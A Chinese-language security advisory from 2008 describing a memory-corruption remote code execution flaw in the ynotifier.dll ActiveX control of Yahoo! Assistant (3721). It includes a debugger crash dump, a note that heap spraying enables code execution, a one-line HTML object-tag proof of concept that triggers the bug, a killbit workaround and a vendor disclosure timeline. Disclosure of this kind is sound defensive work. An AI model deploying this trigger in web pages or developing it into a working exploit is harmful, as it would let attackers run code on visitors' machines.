Yahoo! 助手(3721) ActiveX远程代码执行漏洞

来源:

发现者: Sowhat of Nevis Labs
日期: 2008.05.06

http://hi.baidu.com/secway/blog/item/d9b45dddf0603bdc8d1029a9.html
http://secway.org/advisory/AD20080506EN.txt
http://secway.org/advisory/AD20080506CN.txt

CVE:    N/A

厂商
Yahoo! CN

受影响版本:
Yahoo! Assistant<=3.6 (04/23/2008之前版本)
Overview:
Yahoo!助手(原3721网络助手),是一个IE下的BHO (Browser Helper Object).

Yahoo!助手有许多功能,例如IE设置修复,安全防护,删除浏览的历史信息,拦截广告,等等.
更多信息,请参考
http://cn.zs.yahoo.com/

细节:
漏洞存在于ynotifier.dll这个ActiveX控件.
成功利用此漏洞可以使得攻击者能够在安装了Yahoo!助手的电脑上执行任意代码.
成功利用此漏洞需要诱使用户访问特定网页.

在通过IE初始化Ynoifier COM对象时,会出现一个可利用的内存破坏漏洞.

(c78.fa0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00e85328 ebx=001ada20 ecx=4080624c edx=00128474 esi=020cb5f0 edi=00000000
eip=43f50743 esp=001283e0 ebp=00128478 iopl=0         nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000             efl=00010246
43f50743 ??               ???

637a8b47 8b45f8           mov     eax,[ebp-0x8]
637a8b4a 8b08             mov     ecx,[eax]
637a8b4c 8d55fc           lea     edx,[ebp-0x4]
637a8b4f 52               push    edx
637a8b50 6a01             push    0x1
637a8b52 50               push    eax
637a8b53 ff5158           call    dword ptr [ecx+0x58] ; ds:0023:408062a4=43f50743

此处虚函数指向了一个无效的数据.

利用堆填充技术,攻击者可以通过利用此漏洞执行任意代码.

Proof of Concept:
只需要下面这行代码保存成HTML文件,即可触发漏洞
<object classid=’clsid:2283BB66-A15D-4AC8-BA72-9C8C9F5A1691′>

Workaround:
对此ActiveX设置一个Killbit.

厂商回应:
2008.04.23 通过邮件通知厂商
2008.04.23 厂商回复,开发补丁
2008.04.23 补丁开发完毕,但厂商希望能够推迟公布细节,因为厂商需要时间推送补丁
2008.05.06 发布公告.(厂商没有发布任何公告)

相关日志

发表评论